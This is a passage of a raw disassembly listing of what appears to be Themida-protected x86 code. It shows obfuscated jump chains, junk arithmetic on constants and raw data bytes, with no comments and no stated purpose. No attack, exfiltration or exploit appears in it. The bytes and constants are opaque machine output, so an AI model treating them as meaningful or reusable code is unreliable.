		add	esp, 4
		add	eax, 4
		jmp	loc_58EE52
; ---------------------------------------------------------------------------


loc_58FF5D:				; CODE XREF: Themida_:0058BAD2j
		xchg	esi, [esp]
		pop	esp
		jmp	loc_58AD6A
; ---------------------------------------------------------------------------


loc_58FF66:				; CODE XREF: Themida_:00591F0Fj
		add	ebx, 767921F5h
		jmp	loc_58E8E1
; ---------------------------------------------------------------------------
		db 53h,	0BBh, 97h
		dd 8162CA22h, 0C734B9CBh, 0DDC3814Ch, 299326FFh, 55E5BD8h
		dd 4, 8B240487h, 4FF2424h, 0C3E99C24h, 8BFFFFA9h
		db 34h,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_58E686
; ---------------------------------------------------------------------------
		dw 55Ah
		dd 0BA9166Eh, 48E9C801h
		db 19h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58FFB3:				; CODE XREF: Themida_:0058F452j
		or	edx, 71865CBFh
		inc	edx
		xor	edx, 83B1187h
		xor	edx, 39EE6532h
		xor	edx, 0B37B9D6Ah
		add	eax, edx
		pop	edx
		shl	eax, 3
		sub	eax, 7C78C8DDh
		sub	edx, eax
		mov	eax, [esp]
		jmp	loc_58AEC4
; ---------------------------------------------------------------------------


loc_58FFE1:				; CODE XREF: Themida_:00594489j
		mov	eax, ecx
		pop	ecx
		jmp	loc_5942DA
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 4812424h,	424h, 24048F00h, 4240481h, 8F000000h
		dd 0BF572404h, 4, 4247C01h, 2434FF5Fh, 4C4835Eh, 677A68h
		dd 24148900h, 33C16851h, 81590437h, 295467C1h, 89B85025h
		dd 35334B64h, 4AE421B6h, 0D03E8C1h, 630B5A59h, 0B722320Dh
		dd 83D0F773h, 348904ECh, 1C2CBE24h, 0EBE95567h,	83000025h
		dd 0C38104C4h, 563A3E13h, 78BCBD55h, 0F6E91879h, 5E000019h
		dd 9F68C331h, 89000074h, 34FF2404h, 1661E924h, 0ED810000h
		dd 0DB4FFACCh, 3571E9h,	4B800h,	44010000h, 0FF580424h
		dd 535E2434h, 4179E9h, 53665200h, 0DA8836B3h, 5171E9h
		dd 8BD38900h, 0C4832414h, 0EB815904h, 374A59E8h, 0FFF4A7E9h
		dd 3877FFFFh, 0FFEEDDE9h, 65E955FFh
		db 5Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5900CB:				; CODE XREF: Themida_:00589B94j
		mov	ebx, 8D31F31h
		sub	eax, ebx
		mov	ebx, [esp]
		push	esi
		jmp	loc_58D393
; ---------------------------------------------------------------------------


loc_5900DB:				; CODE XREF: Themida_:0059058Cj
		push	4B53h
		mov	[esp], esi
		push	esp
		pop	esi
		push	edx
		mov	edx, 0FE24C02h
		not	edx
		not	edx
		push	esi
		mov	esi, 5CD86562h
		xor	edx, esi
		pop	esi
		dec	edx
		push	ecx
		mov	ecx, 533A295Bh
		xor	edx, ecx
		pop	ecx
		jmp	loc_58C1E9
; ---------------------------------------------------------------------------
		db 5Eh
		dd 1D09E9h, 2C8B6600h, 5A545224h, 4C281h, 0BF570000h, 78192C49h
		dd 2C4BBA52h, 0D7317819h, 0E9FA015Ah, 0FFFFC435h
; ---------------------------------------------------------------------------


loc_590130:				; CODE XREF: Themida_:0058A83Cj
		mov	ebp, [esp]
		jmp	loc_591257
; ---------------------------------------------------------------------------
		dd 0E9243489h, 0FFFF95C6h
; ---------------------------------------------------------------------------


loc_590140:				; CODE XREF: Themida_:0058DBDEj
		add	dh, 5Bh
		and	dh, 2Ah
		add	dh, 75h
		and	dh, 37h
		jmp	loc_58CF8E
; ---------------------------------------------------------------------------
		db 0B5h, 0BFh, 80h
		dd 0EA8825F5h, 0E9240C8Bh, 3E52h, 815DEE09h, 0A83900F6h
		dd 351E91Ah, 0F1F70000h, 22F468h, 24148900h, 0E3E99C50h
		dd 0FFFFFF92h, 52592434h, 0C281E289h, 4, 0FFB2D3E9h, 38685AFFh
		dd 0E9000037h, 475Ah, 4C381h, 53500000h, 3332E9h, 0E1895100h
		dd 4C181h, 55E90000h, 0FFFFFFA5h, 51582434h, 0B850E189h
		dd 2F413904h, 5307E8C1h, 0CEBB5352h, 893DE056h,	0CA815BDAh
		dd 236A022Ch, 0FFCA86E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5901DD:				; CODE XREF: Themida_:0058B0F5j
		add	edx, 4
		jmp	loc_58BBCC
; ---------------------------------------------------------------------------


loc_5901E8:				; CODE XREF: Themida_:00589B44j
		mov	ebp, esi
		pop	esi
		pop	ebx
		jmp	loc_58B940
; ---------------------------------------------------------------------------
		db 0C1h, 0EFh, 6
		dd 0FBD4EF81h, 0FB89FF55h, 0E381435Fh, 757A5006h, 0D3F7DBF7h
		dd 0FFBE3DE9h, 24148BFFh, 4C481h, 0C7E90000h, 80000042h
		dd 0A2E9B6C7h, 50000031h, 0E001CBB8h, 2FF12D26h, 410D6836h
		dd 48542910h, 31EFBF57h, 0E9474862h, 43BDh, 4C481h, 0C6810000h
		dd 4, 581468h, 24048900h, 2326BB53h, 0C3817BCBh, 8434DCDEh
		dd 295BD889h, 24048BC6h, 8704C483h, 248B2434h, 24148924h
		dd 0E7E99C50h, 5DFFFF91h, 9839E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_590282:				; CODE XREF: Themida_:0059420Cj
		push	edx
		mov	edx, 4
		add	eax, edx
		pop	edx
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		jmp	loc_58CF65
; ---------------------------------------------------------------------------


loc_59029C:				; CODE XREF: Themida_:0058FBA0j
		pop	ebx
		add	esi, 219342B3h
		push	ecx
		mov	ecx, 4DA90FB9h
		not	ecx
		neg	ecx
		shr	ecx, 4
		sub	ecx, 0FFFFFFFFh
		shl	ecx, 4
		xor	ecx, 40C1761Ch
		jmp	loc_58E04C
; ---------------------------------------------------------------------------
		dd 8905F801h, 51CBF22h,	31EA6C27h, 66C3315Fh, 5124148Bh
		dd 0C181E189h, 4, 8704E983h, 895C240Ch,	0B9E9243Ch, 5F000051h
		dd 4C381h, 0CBE90000h
		db 0C3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5902FB:				; CODE XREF: Themida_:005939A0j
		add	esp, 4
		pop	ecx
		mov	ebp, eax
		mov	eax, [esp]
		jmp	loc_593062
; ---------------------------------------------------------------------------


loc_59030C:				; CODE XREF: Themida_:00592242j
		add	edx, 4
		jmp	loc_58BF6A
; ---------------------------------------------------------------------------
		db 5Eh
		dd 15FFA89h, 0BE565AD3h, 697C3E4Bh, 0C21E681h, 0CE8151EBh
		dd 59D452E9h, 0FFB7F2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_590335:				; CODE XREF: Themida_:005951EEj
		mov	esp, [esp]
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_589462
; ---------------------------------------------------------------------------
		db 68h
		dd 2C471FC9h, 0FFFB4BE9h, 4EC83FFh, 0E9241489h,	4B3Dh
		dd 3302ED83h, 2C31242Ch, 242C3324h, 0E924248Bh,	0FFFFB4D8h
		dd 4C281h, 0C2830000h, 15D0E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59037A:				; CODE XREF: Themida_:00593F37j
		push	ebx
		mov	ebx, 1DB32470h
		jmp	loc_58BF7F
; ---------------------------------------------------------------------------
		db 0E9h, 0D8h, 90h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59038A:				; CODE XREF: Themida_:00592144j
		mov	esi, 476947B3h
		xor	esi, 1ADD1DE9h
		jmp	loc_59162A
; ---------------------------------------------------------------------------
		dw 2859h
		dd 0B35366D0h, 66D80019h, 2434FF5Bh, 4C4835Ah, 0CBA0E953h
		dd 0E800FFFFh, 4EC8359h, 52240C89h, 289B68h, 24048900h
		dd 0C28870B0h, 1FE56858h, 1C890000h, 0E9D78824h, 42CDh
		dd 14347DB9h, 0F1814923h, 10BF1844h, 0FFEFCBE9h, 240487FFh
		dd 9EE9505Ch, 66FFFFBCh, 5024048Bh, 68E18951h, 398Bh, 0BE243489h
		dd 5F2C6A38h, 503CCE81h, 0F7467154h, 32CE81D6h,	810C0415h
		dd 8795EEEEh, 0D943E98Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_590422:				; CODE XREF: Themida_:005915D0j
		push	35F0h
		mov	[esp], ebx
		mov	ebx, 6FFF786Eh
		push	edi
		mov	edi, 28E21D12h
		jmp	loc_5932BD
; ---------------------------------------------------------------------------
		dw 315Ch
		dd 0E9C231C3h, 0FFFF901Eh, 722DE801h, 0E93FA134h, 2A21h
		dd 8B240487h, 70E92424h, 0FFFFFFF6h, 0FFE92C77h, 1FFFF8Fh
		dd 1BCDE9EFh, 0B9510000h, 21D43DBh, 2043C181h, 0E9812268h
		dd 0F31259DFh, 8159CD29h, 336288F5h, 5DEF0126h,	4C781h
		dd 0FF570000h, 5F042474h, 8B24048Fh, 0C8852424h, 8FC0E99Ch
		dd 0D929FFFFh, 81C1015Bh, 7F11C7C1h, 0C1835832h, 183BE902h
		dd 895F0000h, 78E95DEAh, 29FFFFEAh, 49FCE9F2h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5904C6:				; CODE XREF: Themida_:00590D0Ej
		push	ecx
		mov	ecx, 7AE60A5h
		or	ecx, 759D02D3h
		push	ebx
		mov	ebx, 492C6FD1h
		dec	ebx
		xchg	edi, ebx
		xchg	ebp, edi
		not	ebp
		jmp	loc_58A51C
; ---------------------------------------------------------------------------


loc_5904E4:				; CODE XREF: Themida_:00591754j
		pop	ecx
		push	ebp
		mov	ebp, 1CE495Eh
		jmp	loc_590B34
; ---------------------------------------------------------------------------
		dd 0B9h, 3D90100h, 3CE95901h, 5700004Ch, 382C9EBFh, 5FFE8918h
		dd 601ACE81h, 0C683710Bh, 2EEC101h, 0E907E6C1h,	0DDAh
		dd 0ABCE8158h, 8715C32Dh, 0DE8743DEh, 0FFA2CDE9h, 0E2C158FFh
		dd 290BE905h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_590536:				; CODE XREF: Themida_:0058CF07j
		push	eax
		jmp	loc_5921FC
; ---------------------------------------------------------------------------


loc_59053C:				; CODE XREF: Themida_:0058BCD6j
		mov	ebp, edx
		pop	edx
		jmp	loc_594FD7
; ---------------------------------------------------------------------------
		dd 0D7E9F101h
		db 0ADh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59054B:				; CODE XREF: Themida_:005934FDj
		push	2D4E2087h
		jmp	loc_589DB2
; ---------------------------------------------------------------------------
		db 0B4h, 21h, 20h
		dd 24048BE6h, 5104C483h, 0FFCC2DE9h, 48B66FFh, 0A475E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59056E:				; CODE XREF: Themida_:005920DDj
		sub	edx, 1A6C3AF0h
		add	edx, 54E6854h
		add	edx, eax
		jmp	loc_58EC8E
; ---------------------------------------------------------------------------


loc_590581:				; CODE XREF: Themida_:00593E85j
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		sub	ecx, 31AC112Eh
		jmp	loc_5900DB
; ---------------------------------------------------------------------------


loc_590591:				; CODE XREF: Themida_:00593FA2j
		pop	ebx
		jmp	loc_590CD1
; ---------------------------------------------------------------------------
		db 89h
		dd 0E9572404h, 1210h, 26853h, 0DAE90000h, 31FFFFC4h, 7EE958C2h
		db 0D0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5905B3:				; CODE XREF: Themida_:0059185Bj
		pop	edi
		xor	esi, 737759DDh
		jmp	loc_58DF7A
; ---------------------------------------------------------------------------
		db 81h
		dd 14200DF2h, 5AD10112h, 4C181h, 3E90000h, 8B000011h, 0F7662424h
		dd 0C733E9E1h, 8B66FFFFh, 54502404h, 8324048Bh,	0B86804C4h
		dd 8900004Ch, 0C8E9242Ch, 5EFFFFACh, 0FFB9A1E9h, 3BF57FFh
		dd 8159110Dh, 645C49EFh, 28F7816Bh, 2955E9BEh, 0CD1EE9F9h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_590616:				; CODE XREF: Themida_:0058BD37j
		xor	[esp], edi
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_589B0F
; ---------------------------------------------------------------------------
		dd 3EEE6866h, 24048966h, 0FF8E31E9h, 2632BDFFh,	0C58134FCh
		dd 2C8855D6h, 4B5DEB29h, 0FFFFEB81h, 0C381FFFFh, 6C99CC90h
		dd 6B25ED81h, 0ED81712Dh, 339181Eh, 0FFE3F6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59065D:				; CODE XREF: Themida_:00592F5Ej
		shl	dh, 5
		xor	dh, 6Bh
		sub	dh, 68h
		push	edx
		mov	dl, 0C0h
		neg	dl
		add	dl, 93h
		or	dl, 0F8h
		jmp	loc_58BD0F
; ---------------------------------------------------------------------------


loc_590676:				; CODE XREF: Themida_:0058E51Cj
		xor	ebx, edi
		jmp	loc_5936A8
; ---------------------------------------------------------------------------


loc_59067D:				; CODE XREF: Themida_:0058AC06j
		xor	ebp, [esp]
		jmp	loc_58CC12
; ---------------------------------------------------------------------------


loc_590685:				; CODE XREF: Themida_:0058FDB1j
		push	ebx
		mov	ebx, 4B1A4C68h
		dec	ebx
		and	ebx, 4543BA1h
		jmp	loc_590FA7
; ---------------------------------------------------------------------------


loc_590697:				; CODE XREF: Themida_:00590C63j
		push	esi
		sub	esp, 4
		jmp	loc_58FE89
; ---------------------------------------------------------------------------
		db 29h
		dd 24348BF5h, 4C481h, 0C5010000h, 583DC581h, 5FE906D7h
		dd 66FFFFA1h, 0E588515Bh, 0FFA6E5E9h, 0D8015EFFh, 0F0BE5657h
		dd 46325827h, 90E9D6F7h, 8B00000Eh, 0C4812404h,	4, 0FF9D24E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5906E5:				; CODE XREF: Themida_:0058ECD4j
		add	ebx, 18127AFCh
		sub	ebx, edi
		sub	ebx, 18127AFCh
		jmp	loc_58D56B
; ---------------------------------------------------------------------------
		dd 5C241C33h, 9C2424D2h, 0FFE067E9h, 59CF31FFh,	0A1BB951h
		dd 0C7815EB5h, 1EA527BFh, 0EF81CF01h, 1EA527BFh, 288CE9h
		db 0
; ---------------------------------------------------------------------------


loc_590721:				; CODE XREF: Themida_:0058D82Cj
		and	eax, 7B01C78h
		shr	eax, 7
		push	ecx
		mov	ecx, 479E7FC2h
		jmp	loc_58F01D
; ---------------------------------------------------------------------------
		dd 68240C8Bh, 2A90h, 54240489h,	0FFC73CE9h, 3FEF81FFh
		dd 89FAAD36h, 30E95FF9h, 5FFFFF2h, 3EE1608Dh, 0F505E8D1h
		dd 1DE2D42h, 1C3358C3h,	241C3124h, 8B241C33h, 0EC832424h
		dd 241C8904h, 1C67E9h, 25BCB900h, 0E94946A3h, 0FFFFAAEAh
		dd 0C1E9F289h, 66000048h, 5124048Bh, 52E38953h,	5EF46857h
		dd 565F0472h, 8DA110BEh, 0E9F701FBh, 0FFFFFB6Fh
; ---------------------------------------------------------------------------


loc_5907A8:				; CODE XREF: Themida_:0059315Dj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		push	ecx
		jmp	loc_58A2D8
; ---------------------------------------------------------------------------


loc_5907BA:				; CODE XREF: Themida_:00594D92j
		add	ecx, 19D90DABh
		pop	ebx
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_58C97B
; ---------------------------------------------------------------------------


loc_5907CC:				; CODE XREF: Themida_:00590898j
		sub	ebx, 0EB8612DBh
		add	esi, ebx
		pop	ebx
		jmp	loc_592AFC
; ---------------------------------------------------------------------------


loc_5907DA:				; CODE XREF: Themida_:00589B18j
		xor	edx, eax
		xor	eax, edx
		push	edi
		push	ebp
		sub	esp, 4
		jmp	loc_5931A6
; ---------------------------------------------------------------------------


loc_5907E8:				; CODE XREF: Themida_:0058CC3Ej
		push	0
		push	dword ptr [esp]
		pop	edx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	edx
		mov	edx, 598F40DAh
		neg	edx
		jmp	loc_5908C9
; ---------------------------------------------------------------------------
		db 52h
		dd 5075CA68h, 0D5E95A1Ch, 5AFFFF99h, 0E92AE980h, 2AA7h
		dd 51505E54h, 4B9h, 0E9C88900h,	22Eh
; ---------------------------------------------------------------------------


loc_59082C:				; CODE XREF: Themida_:00592F49j
		add	edi, 86A5E9B6h
		sub	ebx, 468F6ED0h
		add	ebx, 32996C91h
		jmp	loc_58CB4C
; ---------------------------------------------------------------------------
		db 0F6h
		dd 0EFC280D2h, 0C280CAFEh, 0FFC28085h, 0E9D0EA80h, 22EEh
		dd 0E95DEA01h, 0FFFFF07Bh, 82EF281h, 75E9253Eh
		db 0E6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59086B:				; CODE XREF: Themida_:0058B8FEj
		mov	[esp], ebx
		push	edi
		mov	edi, 249B7690h
		push	8C92BA5h
		pop	ebx
		neg	ebx
		neg	ebx
		and	ebx, 52684A4Fh
		sub	ebx, 0D89EDDC2h
		jmp	loc_58D5B2
; ---------------------------------------------------------------------------


loc_59088F:				; CODE XREF: Themida_:0058E2A6j
		inc	ebx
		or	ebx, 63320385h
		neg	ebx
		jmp	loc_5907CC
; ---------------------------------------------------------------------------


loc_59089D:				; CODE XREF: Themida_:0058F7A0j
		mov	ebx, edi
		pop	edi
		push	edi
		jmp	loc_590FCC
; ---------------------------------------------------------------------------
		dw 6664h
		dd 6866028Bh, 89665308h, 0B3E92404h, 89FFFF9Bh,	0E789243Ch
		dd 2297E9h, 0E7895700h,	397CE9h
		db 0
; ---------------------------------------------------------------------------


loc_5908C9:				; CODE XREF: Themida_:00590802j
		shr	edx, 4
		jmp	loc_58B1DE
; ---------------------------------------------------------------------------


loc_5908D1:				; CODE XREF: Themida_:0058C93Aj
		add	esp, 4
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_593A63
; ---------------------------------------------------------------------------


loc_5908E8:				; CODE XREF: Themida_:005915F9j
		shr	edx, 7
		sub	edx, 24892FAAh
		xor	edx, 0D3DA3E03h
		add	ecx, edx
		pop	edx
		mov	edi, ecx
		jmp	loc_58D22A
; ---------------------------------------------------------------------------
		db 5, 81h, 7Ah
		dd 0BA526A06h, 484629BBh, 0F704E2C1h, 0C8EA81D2h, 0E90C675Bh
		dd 0FFFFDC05h, 7EACC381h, 0EB812426h, 57420034h, 5680C381h
		dd 33FF0539h, 8124048Bh, 4C4h, 2434FF00h, 0FF8B5CE9h, 0E2C158FFh
		dd 51CA8107h, 815ACF4Bh, 365AF2F2h, 4940E950h, 0C1810000h
		dd 4, 5104C183h, 42474FFh, 81240C8Bh, 4C4h, 24048F00h
		dd 7C2815Ch, 53578558h,	6C04C2BBh, 18BA521Ch, 5760AD53h
		dd 9F01F3BFh, 0E9FB017Fh, 0FFFFC434h, 0A10B9FB9h, 244C0136h
		dd 1C8B5908h, 514E924h,	4890000h, 0F60AB024h, 0C0D8F6D8h
		dd 0C8FE08E0h, 702CFF2Ch, 0FFA10AE9h, 190868FFh, 89E90000h
		dd 0F700003Ah, 2E3C1D3h, 3476F381h, 0C281F13Ch,	3C1115EEh
		dd 36C6E9h, 0B5F78100h,	100528Eh, 0F909E9FBh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5909E6:				; CODE XREF: Themida_:005936A9j
		not	ebx
		add	ebx, 1CFBF398h
		add	eax, ebx
		pop	ebx
		push	edi
		mov	edi, 67ED6CA1h
		and	edi, 6F1924ABh
		shr	edi, 3
		shr	edi, 6
		jmp	loc_5942B8
; ---------------------------------------------------------------------------


loc_590A08:				; CODE XREF: Themida_:00592C8Ej
		add	eax, edi
		pop	edi
		xchg	eax, [esp]
		mov	esp, [esp]
		jmp	loc_59284E
; ---------------------------------------------------------------------------


loc_590A16:				; CODE XREF: Themida_:00591040j
		movsx	ecx, al
		jmp	loc_58A557
; ---------------------------------------------------------------------------
		dw 8966h
		dd 6BE92414h, 1000013h,	54A62DD0h, 0E955564Ah, 499Eh, 5124248Bh
		dd 12E96EB5h, 81FFFFE1h, 6B2740C6h, 8BF521C8h, 0C4832434h
		dd 17DA6804h, 3C890000h, 0BD80E924h, 0E959FFFFh, 2241h
		dd 4B9h, 59CA0100h, 2474FF52h, 48F5A04h, 0C4815C24h, 4
		dd 0E930FF66h, 0FFFF89E2h, 7A5EB8BAh, 0BD13E972h, 0C281FFFFh
		dd 34F729F4h, 0C103E2C1h, 0E94208E2h, 0FFFF8BC5h, 8058C100h
		dd 0C18091C1h, 59CF00E0h, 2B84E9h
		db 0
; ---------------------------------------------------------------------------


loc_590AAD:				; CODE XREF: Themida_:00594797j
		pop	eax
		pop	ecx
		sub	eax, 34EA330Dh
		add	eax, 392A1F35h
		jmp	loc_590BA8
; ---------------------------------------------------------------------------
		dw 0D2F7h
		dd 0D8E9DAF7h
		db 8, 2	dup(0)
; ---------------------------------------------------------------------------


loc_590AC7:				; CODE XREF: Themida_:0058A7CFj
		pop	esp
		mov	[esp], edx
		push	3E3C3832h
		pop	edx
		add	edx, 134F0B06h
		jmp	loc_58E1EF
; ---------------------------------------------------------------------------
		dd 0BF53F381h, 0C181EBEFh, 2D007E87h, 70E9D929h, 0BB00003Bh
		dd 30066E6h, 0E95BDA89h, 0FFFFEBB6h, 4C481h, 0B7E90000h
		dd 0B1FFFFBCh, 66C8289Dh, 52240C8Bh, 0C281E289h, 4, 2C281h
		dd 6CE90000h, 5AFFFF8Fh, 0C1FEC9FEh, 46EE980h, 0E9E3046Fh
		dd 0A6h
; ---------------------------------------------------------------------------


loc_590B34:				; CODE XREF: Themida_:005904EBj
		neg	ebp
		shl	ebp, 3
		add	ebp, 566905E7h
		or	ebp, 105032Ch
		sub	ebp, 646216E1h
		xor	ebp, 0B0E503Bh
		jmp	loc_593F90
; ---------------------------------------------------------------------------
		dw 0D001h
		dd 302FE9h, 58545000h, 4CFAE9h,	6FBF6600h, 66536628h, 665E5ABBh
		dd 5B66DF29h, 66DFF766h, 0DFF76647h, 42A2E9h, 53520400h
		dd 0FFE50EE9h, 0EB815AFFh, 76FC2080h, 0C381C329h, 76FC2080h
		dd 3B20E9h
		db 0
; ---------------------------------------------------------------------------


loc_590B9D:				; CODE XREF: Themida_:0058A55Fj
		jmp	loc_589462
; ---------------------------------------------------------------------------


loc_590BA2:				; CODE XREF: Themida_:00589630j
		pop	eax
		jmp	loc_58C129
; ---------------------------------------------------------------------------


loc_590BA8:				; CODE XREF: Themida_:00590AB9j
		inc	eax
		shl	eax, 7
		jmp	loc_58D6F4
; ---------------------------------------------------------------------------
		db 52h,	0BAh, 77h
		dd 811C9355h, 595D03F2h, 0C1D2F771h, 0EAD102EAh, 917E9h
		db 0
; ---------------------------------------------------------------------------


loc_590BC9:				; CODE XREF: Themida_:005910FDj
		xor	dword ptr [edx], 0E07221Fh
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_589C41
; ---------------------------------------------------------------------------
		dw 0C800h
		dd 5266E32Ch, 0D0286FB2h, 0FFCE2FE9h, 405FFh, 4870000h
		dd 3FE95C24h, 91FFFF98h, 1038E9h, 4B95100h, 89000000h
		dd 0B1E959CDh, 81FFFFABh, 8974C8F5h, 8F94E900h,	6866FFFFh
		dd 0EEE90851h, 0F7FFFFF4h, 22CF81D7h, 0E9447D44h, 0FFFFB085h
; ---------------------------------------------------------------------------


loc_590C2C:				; CODE XREF: Themida_:0058F2DDj
		and	edx, 17AC2CCAh
		shl	edx, 3
		push	eax
		mov	eax, 15CD62EBh
		xor	edx, eax
		pop	eax
		shr	edx, 8
		jmp	loc_58B114
; ---------------------------------------------------------------------------


loc_590C46:				; CODE XREF: Themida_:00595591j
		not	edi
		jmp	loc_594591
; ---------------------------------------------------------------------------


loc_590C4D:				; CODE XREF: Themida_:00593E51j
		add	edx, ebx
		jmp	loc_591610
; ---------------------------------------------------------------------------


loc_590C54:				; CODE XREF: Themida_:0059127Cj
		or	ebx, 796175A4h
		xor	ebx, 6B653823h
		add	eax, ebx
		pop	ebx
		jmp	loc_590697
; ---------------------------------------------------------------------------


loc_590C68:				; CODE XREF: Themida_:00590D30j
		push	ebp
		mov	ebp, 4
		add	edx, ebp
		jmp	loc_58C173
; ---------------------------------------------------------------------------
		db 87h,	1Ch, 24h
		dd 4C6815Ch, 81000000h,	2C6h, 24348700h, 0D224248Bh, 0E99C2424h
		dd 0FFFF87CEh, 0E940478Fh, 0FFFF87C6h, 0FF87C1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_590CA1:				; CODE XREF: Themida_:00589829j
		add	ecx, 3CAD0629h
		sub	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		neg	ebx
		sub	ebx, 8DC91779h
		jmp	loc_58ADB3
; ---------------------------------------------------------------------------
		dd 5895BA52h, 50E98BB6h, 0BAFFFFA6h, 0
		dd 0FFDE20E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_590CD1:				; CODE XREF: Themida_:00590592j
		add	ebx, 4
		push	edx
		mov	edx, 4
		add	ebx, edx
		jmp	loc_595A3D
; ---------------------------------------------------------------------------


loc_590CE4:				; CODE XREF: Themida_:0059394Fj
		xor	ebp, esi
		pop	esi
		and	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		or	eax, eax
		jz	loc_58B6EA
		push	6C81h
		mov	[esp], edx
		push	edi
		jmp	loc_58E2F3
; ---------------------------------------------------------------------------


loc_590D09:				; CODE XREF: Themida_:00594322j
		xor	edx, eax
		xor	eax, edx
		push	ebx
		jmp	loc_5904C6
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0E95F2434h, 0FFFF95E3h
; ---------------------------------------------------------------------------


loc_590D1C:				; CODE XREF: Themida_:005895E4j
		add	esp, 4
		or	eax, eax
		jz	loc_58AF56
		push	dword ptr [edi+1Ch]
		push	edx
		mov	edx, esp
		jmp	loc_590C68
; ---------------------------------------------------------------------------
		db 0BAh, 4, 0
		dd 0C6810000h, 5A101F3h, 3AD7E9h, 8718E900h, 3489FFFFh
		dd 0E41FE924h, 7C68FFFFh, 0E9000018h, 0DBDh, 6824048Bh
		dd 2FCDh, 0FFA928E9h, 242489FFh, 4240481h, 8B000000h, 0C4832404h
		dd 1B346804h, 1C890000h, 4BB24h, 0D72D0000h, 50D5C69h
		dd 6CFD651Eh, 0BD55D801h, 484D5FEAh, 0FFF2E1E9h, 240433FFh
		dd 8924248Bh, 9C502414h, 0FF86B5E9h, 0E9028FFFh, 0FFFF86AEh
; ---------------------------------------------------------------------------


loc_590DB4:				; CODE XREF: Themida_:0058E72Fj
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_58DBF5
; ---------------------------------------------------------------------------


loc_590DC4:				; CODE XREF: Themida_:0058F80Dj
		sub	esp, 4
		mov	[esp], eax
		push	ecx
		jmp	loc_59308D
; ---------------------------------------------------------------------------
		dd 4C481h, 41E90000h
		db 28h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_590DDB:				; CODE XREF: Themida_:0058BABBj
		add	edx, ebp
		jmp	loc_5920A5
; ---------------------------------------------------------------------------


loc_590DE2:				; CODE XREF: Themida_:0059450Cj
		add	ecx, edi
		push	dword ptr [esp]
		jmp	loc_58A0F0
; ---------------------------------------------------------------------------


loc_590DEC:				; CODE XREF: Themida_:0058C205j
		mov	ebx, 80h
		and	ecx, ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_58E0BE
; ---------------------------------------------------------------------------
aFqsg		db 'fQéG/',0
		dw 6600h
		dd 52240C8Bh, 0C2815A54h, 4, 4B850h, 0C2290000h, 74FF5258h
		dd 34FF0424h, 4EE95A24h, 59FFFFE8h, 0FFDFD2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_590E35:				; CODE XREF: Themida_:0058DF19j
		push	edi
		mov	edi, 800h
		mov	ebp, edi
		pop	edi
		mov	edi, ebp
		jmp	loc_5899EF
; ---------------------------------------------------------------------------
		db 89h,	3Ch, 24h
dword_590E48	dd 268h, 2434FF00h, 4C4835Fh, 295FFD89h, 242C8BEEh, 0E9E38953h
		dd 0FFFFAF4Ch, 4C05B850h, 29E9785Bh
		db 0ECh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_590E6F:				; CODE XREF: Themida_:00593A0Ej
		mov	esi, 338925FBh
		add	[edx+38h], esi
		pop	esi
		pop	edi
		xor	[edx+38h], ecx
		jmp	loc_5932D8
; ---------------------------------------------------------------------------
		db 35h,	0BFh, 51h
		dd 61E90340h, 68FFFFC5h, 65C7h,	0C8D6E954h, 5250FFFFh
		dd 0CE80AEB6h, 0B65FE939h, 0E580FFFFh, 0C7C580E1h, 0E959E808h
		dd 0FFFFED52h
; ---------------------------------------------------------------------------


loc_590EB0:				; CODE XREF: Themida_:005953C5j
		pop	esi
		jmp	loc_5928D7
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 24040104h, 5FA46852h, 0C890000h, 208F6824h, 57596041h
		dd 8E3CE5BFh, 5FF901B8h, 5259CA89h, 4777E9h
		db 0
; ---------------------------------------------------------------------------


loc_590EDD:				; CODE XREF: Themida_:0059331Bj
		xchg	ecx, ebx
		or	ebx, 193C33D6h
		sub	ebx, 1C31355Eh
		xor	ebx, 0FD4AF698h
		and	ecx, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		shr	ecx, 0Bh
		jmp	loc_58FF44
; ---------------------------------------------------------------------------


loc_590F02:				; CODE XREF: Themida_:00589465j
		add	al, 33h
		jmp	loc_595373
; ---------------------------------------------------------------------------


loc_590F09:				; CODE XREF: Themida_:0058BF74j
		mov	ebp, [esp]
		add	esp, 4
		push	788Dh
		mov	[esp], ebx
